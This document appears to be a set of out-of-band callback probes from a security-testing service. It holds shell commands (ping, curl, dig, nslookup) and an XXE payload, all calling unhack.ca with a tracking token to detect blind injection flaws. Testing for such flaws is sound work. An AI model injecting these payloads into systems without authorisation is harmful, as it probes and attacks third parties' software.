$ ping -c1 -p 00401b8c8e624de9abe64934a1d47f00 unhack.ca
$ curl http://unhack.ca/p/401b8c8e624de9abe64934a1d47f
$ dig 401b8c8e624de9abe64934a1d47f @unhack.ca
$ dig 401b8c8e624de9abe64934a1d47f.ns.unhack.ca
C:\> nslookup 401b8c8e624de9abe64934a1d47f unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/401b8c8e624de9abe64934a1d47f">]> <foo>&xxe;</foo>